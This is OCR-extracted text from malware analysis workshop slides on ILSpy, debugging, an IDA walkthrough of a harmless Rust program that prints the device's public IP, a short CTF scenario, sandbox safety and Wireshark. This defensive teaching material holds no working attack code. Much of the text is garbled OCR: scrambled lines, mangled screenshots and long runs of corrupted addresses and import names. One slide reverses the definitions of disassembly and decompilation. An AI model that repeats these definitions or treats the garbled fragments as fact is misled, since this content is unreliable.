propagated
hed




Reverse
Engineering:
ILSPy

Certain binary formats can bedisassembled

Disassembly is the process of converting machine code
into a higherlevel language like C

Decompilation is the process of converting the machine
code into a lower-level language like assembly

.Net IL code can easily bedisassembled into a C#
representation of the source code

A This process does not replicate the original code

A It does, however, provide a higHevel view of the code itself

There are complex reasons why this is possible, but
i “odbiv fqg@p arb gl qgeb
compiled into

ILSpyand DnSpyare tools that can disassemble
assemblies into source code approximations

-1
System.Private.CorelLib (8.0.0.0, .NETCoreApp, v8.0)
System.Private.Uri (8.0.0.0, NETCoreApp, v8.0)
System.Ling (8.0.0.0, .NETCoreApp, v3.0)
Systemn.Private.Xml (8.0.0.0, NETCoreApp, v8.0)
System.Xaml (8.0.0.0, NETCoreApp, v8.0)
WindowsBase (8.0.0.0, NETCoreApp, v8.0)
PresentationCore (8.0.0.0, NETCoreApp, v8.0)
PresentationFramework (8.0.0.0, NETCoreApp, v8.0)
mare_demo_csharp

] mare_demo_csharp.deps.json
8-0{ mare_demo_csharp (1.0.0.0, NETCorefpp, v8.0)
ﬁ—@ Metadata
B DOS Header
—[B COFF Header
— Optional Header
— Data Directories
— Debug Directory
— Tables
—[=] String Heap (70)
—El UserString Heap (@)
— =] Guid Heap (1)
=] Blob Heap (52)
2-df References
—Dﬂ System.Console
B-000 System.Met.Http

|
B-0{] System.Runtime

=) -
—% <Maodule>
H—% Program
—“3’ Base Types
- & Derived Types
[@ Programi()

Assernblies

bhaanses

L mare_demo_csharp.runtimeconfig.json

-0
G-
&-001
&0
&-00

Program

[
= {

System;

System.Net.Http;
System.Runtime.CompilerServices;
System.Threading.Tasks;

]

<Main>$( [1 args)

using client = (s

client.DefaultRequestHeaders.Add("User-Agent™, "curl/7.68.8");

MriteLine("Printing out the public IP of this device:

+ await client




Reverse
Engineering:
Debugging

A

Debugging is a dynamic process that requires
execution of the binary

A debugger will show you the registry and memory
values in real time while the debugged program is
running

" ab_rddbo tfili Niopldl df sb
into each assembly instruction

This allows you to control the execution of the
binary down to the lowest level

Debugging is the most complex malware analysis
or reverse engineering step

However, debugging is also the process that can
divulge the most information on what a binary is
doing
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Workshop: IDA Primer

Time: 20 minutes

Link: https://github.com/Ipowell/Malware Workshop Public/tree/main/Workshop 1

Scenario:

A This is a semiguided demonstration of IDA using a simple Rusbased binary. The demonstration will follow
along with the post athttps://alertoverload.com/posts/2025/05/getting -started-with-malware-analysis-and-
reverse-engineering/#rustbinaries.



https://github.com/lpowell/Malware_Workshop_Public/tree/main/Workshop_1
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| o qefp tlohpel m¥% ::easy::Easy; // Import the easy curl crate
binary included in the Workshop 1 1/ matn entry point
directory. This binary was compiled with S
the pictured source code. Lo IHeonfloners g/ detine the ULt

(& ). (); // execute request on url

The binary reaches out to ifconfig.me and data = Vec:inew(); // store data as UTF8 bytes object
displays the current public IP address of // Write response to data from slice
the device it executes on. { e
*k geb tlohpel m% tb s
identify functions and code segments - 0

from the compiled binary using IDA.

response = HE . ("Data retrieval from curl failed."); // Convert UTF8
bytes to string

Note: This works just as well in GHIDRA. split_vec: Vec<istr> = +spLLE("ip_addr:"). (); // Split the string
However, all the screenshots will be public_ip = [1].split("<br>").next().unurap(); // SPlit the split string
USing IDA. Some adjustments will be ("Printing out the public IP of this device: {}", ); // print the IP address
required for the different menus.
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@ﬁw’;} 1[' ( EED *04¢ b

Loading this binary in
IDA reveals very little at
first. The main entry

ml f kg al bpk @i

significant amount of
information.

By following

the call instructions, we
can follow the chain of
functions the program is
accessing. This can be a
good start for getting a
general understanding of
what a binary is doing.
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We can also look at the imports window. This view will show the imported
functions from the WinAPIthat are used by the binary. In the case of this binary,
several imports stick out.

They are:

A WS2_32 networking imports

A kernel32 console write and allocation imports
A CRYPT32 certificate imports

These imports indicate that this code uses a network connection to do
something, potentially printing the results to the console. As we know, the binary
IS using a network connection to get and display data, so this checks out.

Imports

Address

v

api-ms-win-core-synch41-2-0
F=| ooooooo140073248
0000000140078250
1] 0000000140078258
Vis2_32
0000000140078108

:
8
g
g
g
g
g
El
15

0000000140078118
0000000140078120
0000000140075 123
0000000140078130
0000000 140078138
0000000140075 140
0000000140078148
0000000 140078150
0000000 140078158
0000000140078150
0000000 140078168
0000000140078170
0000000 140075178
0000000140078180
0000000140075188
0000000140075 150
0000000140078198
0000000 140078140
0000000 140078 145
0000000140078180
0000000140078188
0000000 1400781C0

GD
88
as
88
gs
g8
g2
o o
BA
gg

0000000140078108
0000000140078 150
0000000140078 168
0000000140078 170
0000000140078 173
0000000 140078200

i 5 i i i

n
g
2
g
i

0000000 140078000

:
g
g
g
=
g
z
=l
g
&
g

0000000140078010
0000000 140078018
0000000 140075020
0000000140078028
0000000 140078030
0000000 1400758033

D
8
g
g
2
g
g
=l
E
8

0000000 140078048
0000000 140078050
0000000 140078058
0000000 140078060
0000000140078088
0000000 140075070
0000000 140078073
0000000 140078080
0000000 1400758083
i3z

0000000 140078523
0000000 140078530
0000000 140078533
0000000 140078540
0000000 140078548
0000000 140075550
0000000 140078558
0000000 140078560
0000000 140078563
0000000 140078570
0000000 140078578
0000000 140078580
0000000140078583
0000000 140078590
0000000 140078538
0000000 140078540
0000000 140078548
0000000 140078580
0000000 140075585

:
8
g
g
g
g
g
=l
g
g

0000000 1400785C8
0000000 140078500

:
8
g
g
g
g
g
=l
g
g

0000000 140078560
0000000 140078568
0000000 140078570
0000000 140078578
0000000140078500
0000000 140078608

:
8
g
g
g
g
g
=l
2
15

0000000 140078518
0000000 140078620
0000000 140078628
0000000 140078630

il i i i i i i, i ) ) i o i i i

Ordinal

Name

WakeByAddressAll
WakeByAddressSingle
WaitGnAddress

getsackopt
WsASocketW
ioctisacket
freeaddrinfo
getaddrinfo
listen

htor

WsAToct
setsockopt

recy
getsackname
getpeername
connect

bind

accept

select
__WSAFDIsSet
socket

htons
WsACleanup
WsAStartup
WsASetLastError
ntohs

WSAGetl astError
dlosesocket
WSAWaitForMultipleEvents
WsAResetEvent
WSAEventSelect
WSAEnumNe torkEvents
WSACreateEvent
send
WSACloseEvent

PRXImportCertStore
CertCloseStore
CertEnumCertificatesinStor
CertFindCertificatenstore
CertFreeCertificateContext
CryptStringToBinaryA
CryptDecodeObjectEx
CerthddCertificateContexiToStore
CertFindExtension
CertGethiameStringA
CryptQueryObject
CertCreateCertificateChainEngine
CertFreeCertificateChainEngine
CertGetCertificateChain
CertFreeCertificateChain
CertGetEnhancedKeyUsage
CertDuplicateCertificateContext
CertOpenStore

WiriteConsole
GetProcessHeap

ReleaseMutex

Istrlenit/

HeapReAlloc

HeapFree
TerminateProcess
GetCurrentProcessld
GetCurrentProcess
GetEnvironmentVariableW
GetCurrentDirectoryW
RivirtualUnwind
RiCaptureContext
WaitForSingleObject
GetCansoleMode
GetCurrentThread
SetThreadStackGuarantee
AddvectoredExceptionHandler
Setriandlelnformation
UnhandiedExceptionFilter
SetUnhandiedExceptionFiter
IsProcessorFeaturePrasent
GetCurrentThreadld
GetSystemTimeAsFieTime
InitializeSListHead
IsDebuggerPresent
ReadFie

GetFleSizeEx

CreateFileA
VerifyVersionInfol
VerSetConditionMask
GetEnvironmentyarishleA

Library

api-ms-win-core-synch41-2-0
api-ms-win-core-synch11-2-0
api-ms-win-core-synch11-2-0

W52 32
ws2_32
ws2_32
Ws2_32
W52 32
ws2_32
Ws2_32
Ws2_32
ws2_32
Ws2_32
Ws2_32
ws2_32
ws2_32
Wws2_32
W52 32
ws2_32
Ws2_32
Ws2_32
ws2_32
Ws2_32
Ws2_32
ws2_32
ws2_32
Ws2_32
W52 32
ws2_32
Ws2_32
Ws2_32
ws2_32
Ws2_32
Ws2_32
ws2_32

CRYPT32

CRYPT32
CRYPT32

kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32
kernel32



Double-clicking an import will take you
to the definition in idata. Rightclicking
the idata entry will allow you to list all
cross-references (refs) to the import.

Examiningxrefsis a great way to
quickly identify important functions
and segments of code.

0007€BES

:BE2EERR148073163 ;
1BEeREER14BBTE16E
(BeeREaR14087E168
rpaecaaRlden

8

0000000140078168:

: int (_ stdcall *bind) (5 %

; u short (

extrn con~-

[~

extrn bin

s
s
@

3 SOCKET (_ stdcall *acce

extrn acc

; int (_ stdcall *select)
extrn sel m’
o
;oint (_ stdcall *_ WSAFD m’
extrn _ i <
W,
3 SOCKET (_stdcall *sock =0}
extrn soc
i
; u_short (_ stdcall *hto -
extrn hto
Jp
; int (_ stdcall *WSAClea |
extrn WSA HV

; int (_ stdcall *WSAStar

i
WSA

extrn

extrn

; Import by ordinal 5
int (_ stdcall *cennect)(SOCKET s, const struct sockaddr *name, int namelen)

—a L rAne wnes

Rename

Jump to operand

Jump in a new window
Jump in @ new hex window
Jump to xref to operand...

List cross references to...

Manual...
Undefine operand
Array...

Data

Undefine

Add write trace

Add read/write trace
Add watch

Add breakpoint

Copy address to command line

Krefs graph to..
Xrefs graph from...

Synchronize with

Font...

N

Enter

Alt+Enter

X
Ctrl+X

Alt+F1
MNumpad+*

D
U

F2

¥ U0 _TOOFIOOOTZo T

; Import by ordinal 115

; vold (_ stdeall *wWsASetlastError)(int iError)
WSASetLastError:qword

; CODE XREF:

; sub_l4e@5888@+631p ...
; Import by ordinal 112

stdcall *ntohs)(u short netshort)

.idata:connect (Synchronized with Hex View-1)

extrn getpeername:qword ; CODE XREF: sub_14@88532B@+23Ftp

s annracenagtp

namelen)
BETp

j@ddrlen)
l7E1p

ds, fd_set *exceptfds, const struct timewval *timeout)
Batp

Eptp
Bostp

loc_1408430F31p

[SAData)
BFtp

sub_142842108+1A21p
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Additionally, you can open other
subviews, like strings, by clicking the
View menu dropdown and navigating
to Subviews

File  Edit

~ [
gy

Jump  Search

-8~ @
: I
>

Library function [l Regular

E Functions

Function name

[F] sub_140001000
sub_1400011C0
sub_140001260
sub_140001280
sub_140001360
sub_140001810
sub_140001330
sub_14000 1980
['F] sub_140001430
sub_140001CA0
sub_140001D10
sub_140001D30
@ main
7| sub_1400024D0
sub_140002C00
sub_140002D50
sub_140002FC0
sub_140003140
sub_1400031C0
sub_140003100
sub_140003230
['F] sub_140003250
['F] sub_140003200
['F] sub_1400032F0
['F] sub_140003310
['F] sub_140003380
['F] sub_140003480
sub_140003520
sub_140003530
sub_140003540
sub_140003550
sub_140003560
sub_140003570

vk 4ARARDEER

S SRS SIS

B S S RS SSSSESESS

View Debugger

Options
Open subviews

Graphs

Toolbars

Calculator...

Full screen

Graph Qwerview
Recent scripts

Database snapshot manager...

Print segment registers
Print internal flags

Print register value

Hide

Unhide

Hide all

Unhide all

Delete hidden range

Setup hidden items...

Windows

Line 13 of 1529, /main

Help

I

F11

Alt+F9
Ctrl+Shift+T

Ctrl+Space
F
Alt+Shift+V

Ctrl+Numpad+-

Ctrl+Numpad++

=]
[l
@
=]
=]
i
=
®
®
&
=
m
3]
(]
&=l

(3 &1 ] [

@ DA - mare_demo.exe C:\Users\( B Documents\Rust\mare_demo\target\release\mare_demo.exe

Quick view

Disassembly
Proximity browser
Generate pseudocode
Hex dump

Address details

Exports
Imports
Mames
Functions

Strings

Segments
Segment registers

Selectors

Signatures

Type libraries

Structures
Enumerations

Local types

Cross references

Function calls

Bookmarks

Open picture

Notepad
Problems
Patched bytes
Undo history

Ctrl+1

F5

Shift+F4
Shift+F3
Shift+F12

Shift+F7
Shift+F8

Shift+F3
Shift+F11

Shift+F9
Shift+F10
Shift+F1

Ctrl+Shift+M

Ctrl+Alt+P
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Address Length Type String

.rdata:0000... 00000050 frustc/fee511eec7342f59a25f7c0534f 1dbeal0dd 1b 14\ ibrary\coreY\ercl \str | \pattern.rs
.rdata:0000... 0000002C called “Result::unwrap)” on an "Err” value

rdata:0000... 00000018 FromUtf&Errarbyteserror

.rdata:0000... 00000017 ifconfig.mesrcfmain.rs

.rdata:0000... 00000020 Data retrieval from curl failed.

rdata:0000... 00000008 ip_addr:

.rdata:0000... 00000030 <br=Printing out the public IF of this device: \n

.rdata:0000... 00000050 frustcffee511eec7342f59a25f7c0534F 1dbeanndo 1b 14\ \ibraryY\core\\src\ lstr\\pattern.rs
rdata:0000... 00000058 Utf8Errorvalid_up_toerror_lenMoneSomefatal runtime error: thread local panicked on drop'n
.rdata:0000... 00000057 a formatting trait implementation returned an error when the underlying stream did not
rdata:0000...  0000004A frustcffees1leec7342f59a25f7c0534F 1dbeanndo 1b 14\ ibraryt\std\\src\ o\ \mod. rs
rdata:0000... 00000040 frustc/fée511eec?342f559a25f 700534 1dbeal0dd 1b 14\ ibraryistd\erc\\synclionce.rs
.rdata:0000... 0000002C called "Result::unwrap() ™ onan "Err” value

rdata:0000... 00000022 Utf8Errorvalid_up_toerror_lenMone

rdata:0000... 00000084 Someassertion failed: Is.is_null)C: \Wsers (D' . caroo\\registry\\srctindex. crates.io-6f 17d22bba 1500 1f\\curl-0. 4. 47\ \src\\error . rs

You can often determine what
language a binary was written in
based on the remnant strings. In
this instance, there are numerous

. .rdata:0000... 00000006 Error
mentions of cargo and Rust rdata:0000 0000000 descrpton
rdata:0000... 00000006 extra

.rdatz:0000... 00000060
rdata:0000... 00000010
rdata:0000... 00000044
.rdata:0000... 00000057
rdata:0000... 00000083
rdata:0000... 00000090
.rdata:0000... 00000045
rdata:0000...  0000006F
rdata:0000... 0000001E
.rdata:0000... 00000068
rdata:0000... 00000096

C: \,H,Usersﬁ,—'n,.cargo'n,'u'egist'y \isrcWlindex. crates.io-6f17d22bba 1500 1f\\curl-0.4. 47\ \srcflib.rs

failed to write whole buffer

frustc/fee511eec7342159a25 700534 1dbeal0dd 1b 14\ ibrary\std\\src\o\\mod.rs

a formatting trait implementation returned an error when the underlying stream did not

SomeC: 'I,'I,USEI'S'I_l,'l,.Eal’gD'l,'l,I’EgiSh’y'l,\Sl’E'l,'l,indE)(.CI'EItES.iD-Gfl?dZHJbEI1500 1f\hcurl-0.4, 47 \\erc\\wersion. reassertion failed: 'ptr.is_null)

Ci\Wsers 'l,_,'l,.cargo'l,'l,regist'y VercWlindex. crates.io-6f17d22bba 1500 1f\\curl-0.4. 47\ \erc\ \easy\\handle.rsassertion failled: !self.inner.get_ref().running. get(
assertion failed: self.easy.inner.get_ref{).borrowed. get().is_null
d2i_X509%509_freeX509_STORE_add_certSSL_CTX_get_cert_storelibeay32ssleay 32liboryptolibssiROCT1,3.6,1,5.5.7.3. 1

unknown arigin from libcurl;

C: \,H,Users\,_'n,.cargo'n,'u’egist’y Vsrcindex. crates.io-6f17d22bba 1500 1f\\curl-0. 4. 47\ \src\\easy \thandler.rs

cannot access a Thread Local Storage value during or after destruction rustc/f6e511eec7342f5%a25f7c0534f 1dbealdd0 1b 14 ibrary!\std\\srct \thread \Yocal.rs

functions. Double-clicking a string
value will take you to the position in
the code from which the string is
being read.

rdata:0000... 00000062 Ci\Wsers\ \.cargotiregistry\\srchndex, crates. io-6f17d 22bba 1500 1f\\curl-0. 4. 47 \erc \panic.rs
.rdata:0000... 0000004D Jrustcffees11eec7342f59a25f7c0534f 1dbeannd0 1b 14\ jibraryt \std\\srch\synconce.rs

rdata:0000... 00000007 ==t

rdata:0000... 00000012 { bytes of data)'n

.rdata:0000... 00000060
rdata:0000...  0000008C

8] s] 3]s ] s] s]| s] 5] s 5] =] s s]| s] s] s]| s] ] s][ 8] s] s] s]| s] ] s3] ] s] s] ] 5] 5] 5]

OO0 00000000000 0000000000

C: \,H,Users\,-'n,.cargo'n,'u'egist'y VisrcWindex. crates.io-6f17d22bba 1500 1f\\curl-0. 4,47\ \src/lib.rs
assertion failed: 'handle.is_null()C:Y\Userst \\caraolyreagistry\isrc\ndex. crates. in-6717d22bba 15001 \curl-0. 4. 47\ \src\easy\\handler.rs
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Here, we can see the static string
we used for the URL.

Listing xrefs for this value reveals
the location of the static definition
in IDA view.

.rdata:
.rdata:
.rdata:
.rdata:

.rdata:0pe0000146078968 alfconfigMesrcM db 'ifconfig.mesrc/main.rs’,@

R LS S o d b

.rdata:eEEEEEA148073968

.rdata:eeo0ee0140673968

wrefs to alfconfighMesrci

of f_146873980

db 24h ; %
db ]
db a
db ]

align 2&h

dg offset alfconfigMesrcMieeh

Directic Type

(= = I = I = T = |

Addrezs
sub_140001090:loc_1400__
rdata:off_140073380
rdata:off_140073938
rdata:off 140073980
rdata:off_1400739E8
rdata:off_140073405

Text

lea r8, alfconfigMesrcM; "ifconfig.mesrc/main.rs”

dq offset alfronfigMesrcM-+0Bh
dq offset alfconfigMesrcM-+0Bh
dqg offset alfconfigMesrcM+0Bh
dq offset alfconfigMesrcM+0Bh
dq offset alfconfigMesrcM-+0Bh

Linelof &

0K Cancel Search

Help



¥

B i

® < [

mov
mowv
lea
lea
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mov
call
test
jz

[rbp+2@@@h+NumberofCharskritten], @
[rsp+2888h+1pWideCharstr], @ ; lpReserved

rdx, [rbp+2@@eh+WideCharstr] ; lpBuffer

r9, [rbp+2@@eh+Number0fCharskritten] ; lpNumberOfCharsWritten

rox, rbx ; hConsoleQutput

réd, eax 3 nNumberOfCharsTolWrite
cs:WriteConsolel

eax, eax

loc_14@@14ECE

Similarly, if we follow the xrefs for the WriteConsoleW
API call, we can find the function that is printing our
message to the screen.

loc_148@14F3B:

lea r3, off_l4808CFee
mov edx, 1886h

mov rcx, rl4

call sub_1488773D8

Y
® & =
mov edi, [rbp+2@@@h+NumberOfCharsWritten]
cmp rl4, rdi
jz loc_148814EE7
® & =
jbe loc_148@14F60
A J A J
® & = ® & =
movzx  eax, [rbp+rdi*2+28@@h+WideCharstr]
loc_148814F69: add eax, 2312h
lea rd, off_14808CF73| |movzx  eax, ax
mov rex, rdi cmp eax, 312h
mov rdx, ri4 jnb short loc_l4@@14E5D
call sub_148877868
L J
® & =
lea rdx, ds:@FF FBeh[rdi*2]
add rdx, rbp ; lpBuffer
inc rdi
mow [rbp+2@@@h+NumberofCharsWritten], @
mov [rsp+2@3@h+1lpWideCharstr], @ ; lpReserved
lea r9, [rbp+2eeeh+Number0fCharskritten] ; lpNumberOfCharsWritten
mov rex, rbx ; hConscleQutput
mov réd, 1 ; nNumberOfCharsTolrite
call cs:WriteConsolen
test eax, eax
jnz short loc_148@14E50D

L ]

B s E
call
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We can also listxrefs while in IDA view.
Select the function

name sub_XXXXXXXahd select xrefs.
This will show all addresses where the
function is being called.

B

sub_148814D28 proc near

lpWideCharStr= qword ptr -2868h
cchWideChar= dword ptr -2858h
WideCharstr= word ptr -2858h
NumberOfCharsWritten= dword ptr -S€h
var_48= qword ptr -48h

var_48= qword ptr -48h

var_38= xmmword ptr -38h

push rbp

push rl4

push rsi

push rdi

push rbx

mov eax, 2868h
call

sub rsp, rax

lea rbp, [rspt+8eh]
mov rsi, r8

mow rg, rdx 3 lpMultiBytestr
mov rbx, rcx

cmp rsi, 18@lh

jb short loc_1480814D87

xrefs to sub_140014D20

Directio Type Address Text

Up p 'sub_140014A10+16E ‘call sub_140014D20

= Up p sub_140014A10+1B5 call  sub_140014020

2/ D. o pdata:00000001400A06F8  RUMTIME_FUNCTION <rva sub_140014D20, \
Line 1 of 3

oK |



Workshop: IDA Primer

Pressing tab in any IDA view pane will open the

psuedocode viewer for that function. This decompiles i e

the assembly into a pseudocode Gstyle view. This can

be useful for translating obscure assembly D

instructions into something more readable. However, ?;3“'

*%" fpk@q prmbo dob”q ~q qgefp% ~"ka ()*%w3" fp mol
better tool for decompilation like this. 2 he e

sub_148877368(v7, v3, &off_14088BE30);

";: int *)(16 * + a2);

=16 *
= aLL;
while ( I= )]
{
= vB[vie / 4];
+= 16LL;
if ( )]

{
= *(_QWORD *)&vE[ /4 - 2];
goto LABEL_15;
}
}
= 1LL;
55 = BLL;
56 LABEL_15:
0000E4AD sub 14000F0RO:1 (14000F0ORO)



Mint CTF 3



Mini CTF 3

Time: 20 minutes

Link: https://github.com/Ipowell/Malware Workshop Public/tree/main/mini_ctf/CTF_3

Scenario:

A We found this code during a recent incident. It looks like there was some kind of secret involved. We've

recovered the encrypted string, but we couldn't get the plaintext. Can you reverse engineer this code and
recover the plaintext?


https://github.com/lpowell/Malware_Workshop_Public/tree/main/mini_ctf/CTF_3

Dynamic
Analysis



Dynamic Analysis

A Dynamic analysis covers all analysis types that
require execution of the sample

A Dynamic Analysis can result in
faster identification of IOCs and
TTPs than manual static analysis

A There are more risks to dynamic &~
analysis compared to static
analysis

A Dynamic analysis requires live
execution of the sample

A It must be performed on a
monitored device

Registry
Changes

File Behavior Memory
Execution Monitoring Writes

Network

API Calls Andlysis

https://www.vmray.com/glossary/dynamic -analysis/

Data Leaks

Remote
Gommand
and

Analysis
Results


https://www.vmray.com/glossary/dynamic-analysis/
https://www.vmray.com/glossary/dynamic-analysis/
https://www.vmray.com/glossary/dynamic-analysis/

Dynamic Analysis:
Staying Secure

A Dynamic analysis can be dangerous if you are not using a
properly secured sandbox environment

A Ensure that you are using a VM before detonating any samples

A You will also want to ensure that proper isolation has been
configured

A Do not be the person who ransoms their own network because
they double-clicked the Eternal Blue binary when transferring it to
their sandbox

A UsingFlareVMor another dedicated malware analysis VM
platform will typically be the best option for building new
sandboxes




Dynamic Analysis: WireShark

‘tcp.stream eq 25

A WireSharkis a tool for capturing and analyzing network [ Source Destnation Prtocel Length nf

H H 169 16445303 198.23.251.18 192.1658.0.17 L M Wireshark - Follow TCP Stream (tep.stream eq 25) - 1.peapng
packets and protocols in real time or from save
171 16.256467 198.23.251.16 192.168.9.17 TCP
Ca tures 361 46.162698 198.23.251.18 192.168.0.17 TCP 00000000 24 @4 ff 60 Gc 00 00 @0 ©1 8@ @0 @@ 30 7c le le  S$....... .... el..
p 362 45.184250 192.165.0.17 1982325110 b aaaa:g;:%;; ?;43;432’ G 56 G0 @0 @0 4c 02 00 @0 38 Tc le 1c |aa5 L...8]
363 46.278969 198.23.251.18 192.168.9.17 TCP - = I=2= tooooooo Loochljec

eeeaeele 1f 7c 4d 0@ 6f 80 6e B0 69 @8 74 @0 6T 60 72 60 .||'1.0‘n. i.t.o.r.
M M epREEE20 69 8O Ge BB 67 B 20 BB 2d 808 20 88 41 66 S0 88 i.n.g. . -. .A.P.

A It supports many different filter types and can be used Seoacos 19 o6 36 0o 44 oo ot 00 o oe o oa i oeiree rMEL Luel
oPREEA4R 72 9P 20 PR 76 BR 32 B2 28 80 33 8@ 32 80 2d ee r. .v.2. .3.2

A.d

in the command line with Tshark the CLI counterpart Geosceso G2 o0 69 60 74 00 26 00 280081 60 S4 0 Sd 0 D.i.t. .

GPDEER6E 69 B0 Ge BG 69 6@ 73 BB 74 @B 72 8@ 61 60 74 #@ i.n.i.s. t.r.a.t.

8P0EEO7E 6 P8 72 88 29 P 7c le le 1f 7c 37 33 34 7c le  o.r.).|. ..|734|.
A | | . Sh k d f d @00@E080 1e 1f 7c 2d 31 31 35 38 38 36 37 36 35 36 ..|-1158 867656
M t W t t 0000014 24 04 f OB Gc 00 00 G O1 80 G0 80 30 7c le le  S....... .... @l..
alware analySlts usevviresnarkto iaentity an e s SRS

M M H M POPEBREE 24 84 T GO 35 60 G0 B0 4C B0 GO 80 30 7c le 1 B L...8|..

monitor network traffic during sample execution co0aeo%t 17 7¢ 4d  oF 06 6e 00 83 09 74 00 of 00 72 80 [Roin. L.or.

PPBABBAE 69 9P fe BB A7 BB 20 BB 2d @B 20 @6 41 6B 50 60 i.n.g‘ . -. JA.P.

. . . . DPOBOOBE 49 BB 20 B0 4d B9 6f BB Ge OB 69 0B 74 80 6F @0 I. .M.o. n.i.t.o.

A This provides useful information on what 200000CE 72 60 20 00 76 60 32 00 25 00 33 00 32 00 2 80 . .3, 3.2...

BPGEGADE 62 BB 69 GO 74 0O 20 GO 23 09 41 0B 64 80 6d 80  b.i.t. . (.A.d.m.

Commun'cat'ons are happen'ng’ Often |nC|ud|ng data BPREEREE 69 PP Ge B0 69 P 73 B 74 @8 72 88 61 @@ /4 @8 i.n.i.s. t.r.a.t.

BPPEPOFE 6T @@ 72 8@ 29 8@ 7c le le 1f 7c 33 31 7c 1e le o.r.).|. |31]..

that can be further analyzed @Beee18E 1f 7c 2d 31 31 35 38 38 33 37 36 35 36 .|-11588 37656

A 1t also lets researchers easily identify potential C2
servers without wasting a lot of time using manual
static analysis methods

A Chris Greer does a better job of explainingVireShark
than just about anyone else on the internet
https://youtu.be/OU -
A2EmVrKQ?si=MRh44dffuuODPIHp



https://youtu.be/OU-A2EmVrKQ?si=MRh44dffuuODPlHp
https://youtu.be/OU-A2EmVrKQ?si=MRh44dffuuODPlHp
https://youtu.be/OU-A2EmVrKQ?si=MRh44dffuuODPlHp

Dynamic Analysis: WireShark

Capture

..using this filter: |

Ethernet

]l

i Local Area Connection™ 8

Local Area Connection® 7

Id Capturing from Ethernet I

Local Area Connection™ &

Adapter for loopback traffig

(3] Event Tracing for Windows|

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

a0 ® RE ] @ = TR Eeaean
| ||—::_.'—. ter ... < Ctrl-
Ne. Time Source Destination Protecol Length
1 @.eepeRE 192.168.0.25 192.168.0.255 NBNS
4 4.887556 92.168.6.14 255.255.255.255‘ I TPLINK-SMARTHOME, JSON I
5 4.351994 192.168.0.16 255.255.255.255 uop
6 4.583527 192.168.0.1 239.255.255.250 SSDP
7 4.583937 192.168.8.1 239.255.255.258 SSDP
8 4.5844@82 192.168.8.1 239.255.255.258 S50P
9 4.584864 192.168.06.1 239.255.255.250 55DP
18 4.585362 192.168.0.1 239.255.255.250 S5DP
11 4.585858 192.168.8.1 239.255.255.250 SSDP
12 4.586534 192.168.8.1 239.255.255.258 S50P
13 4.586971 192.168.8.1 239.255.255.258 S50P
14 4.5087518 192.168.0.1 239.255.255.250 S5DP
15 4.588134 192.168.0.1 239.255.255.250 SSDP
16 4.588693 192.168.8.1 239.255.255.250 SSDP
18 4.763270 192.168.06.1 239.255.255.250 55DP
19 4.763755 192.168.0.1 239.255.255.250 S5DP
20 4.764260 192.168.0.1 239.255.255.250 SSDP
21 4.784743 192.168.8.1 239.255.255.258 S50P
22 4.765196 192.168.8.1 239.255.255.258 S50P
23 4.765670 192.168.06.1 239.255.255.250 55DP
24 4.766150 192.168.0.1 239.255.255.250 SSDP
25 4.766637 192.168.8.1 239.255.255.250 SSDP
26 4.767169 192.168.8.1 239.255.255.258 S50P
27 4.767612 192.168.06.1 239.255.255.250 55DP
28 4.768866 192.168.0.1 239.255.255.250 S5DP
29 4.822216 192.168.0.25 239.255.255.250 SSDP
3@ 5.775546 192.168.8.25 192.168.8.255 uop

Info

92 Name guery NB WPAD<@@>

189|UDP Cmd {"System":{"get_sysinﬂj":{}},"Emeter":{"get_realtime":{}}}I
413 =371

431 NOTIFY * HTTP/1.

583 NOTIFY
44 NOTIFY
499 NOTIFY
448 NOTIFY
479 NOTIFY
448 NOTIFY
493 NOTIFY
495 NOTIFY
511 NOTIFY
495 NOTIFY

495 NOTIFY
511 NOTIFY
495 NOTIFY
493 NOTIFY
44 NOTIFY
479 NOTIFY
448 NOTIFY
499 NOTIFY
448 NOTIFY
583 NOTIFY
431 NOTIFY

=

EE I S S S Y

167 M-SEARCH
86 57621 » 57621 Len=44

HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.

e e

HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.
HTTP/1.1

* HTTP/1.1

e e i R S S =

v User Datagram Protocol, Src Port: 36521, Dst Port: 9999

Source Port: 365321
Destination Port: 9939
Length: 66

Checksum: @xf7ac [unverified]
[Checksum Status: Unverified]
[stream index: 1]
[Timestamps]

UDP payload (58 bytes)

¥ TP-Link Smart Home Protocol

Cmd: {"system":{"get_sysinfo":{}}, "emeter”:{"get_realtime”:{}}}

v JavaScript Object Notation

v Object
¥ Member: system
Object
Key: system

[Path: /system]
¥ Member: emeter

Object

Key: emeter

[Path: femeter]




Dynamic Analysis: WireShark

M -Ethemet - X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 ® S B K Fa8= Qa8
Source Destination Protocol Length Info ~
1 0.000000 192.168.8.25 192.168.0.255 NENS 92 Name query NB WPAD<@>
4 4.087556 192.168.0.14 255.255.255.255 TPLINK-SHARTHOME/ JSON 108 UDP Cmd: {"system”:{"get_sysinfo":{}},"emeter":{"get_realtime":{}}}
5 4.351994 192.168.8.16 255.255.255.255 uop 413 49867 - 29818 Len=371
6 4.503527 192.168.0.1 239.255.255.250 SSDP 431 NOTIFY * HTTP/1.1
7 4.503937 192.168.0.1 239.255.255.250 SSDP 583 NOTIFY * HTTP/1.1
8 4.564462 192.168.0.1 239.255.255.250 S5DP 448 NOTIFY * HTTP/1.1
9 4.564564 192.168.0.1 239.255.255.250 S5DP 499 NOTIFY * HTTP/1.1
18 4.505362 192.168.0.1 239.255.255.250 S5DP 448 NOTIFY * HTTP/1.1
11 4.505850 192.168.0.1 239.355.255.250 S5DP 479 NOTIFY * HTTP/1.1
12 4.506534 192.168.0.1 239.355.255.250 S5DP 448 NOTIFY * HTTP/1.1
13 4.506971 192.168.0.1 239.355.255.250 S5DP 493 NOTIFY * HTTR/1.1
14 4.507518 192.168.0.1 239.355.255.250 S5DP 495 NOTIFY * HTTR/1.1
15 4.508134 192.168.0.1 239.355.255.250 S5DP 511 NOTIFY * HTTP/1.1
16 4.508693 192.168.0.1 239.355.255.250 s5DP 495 NOTIFY * HTTP/1.1
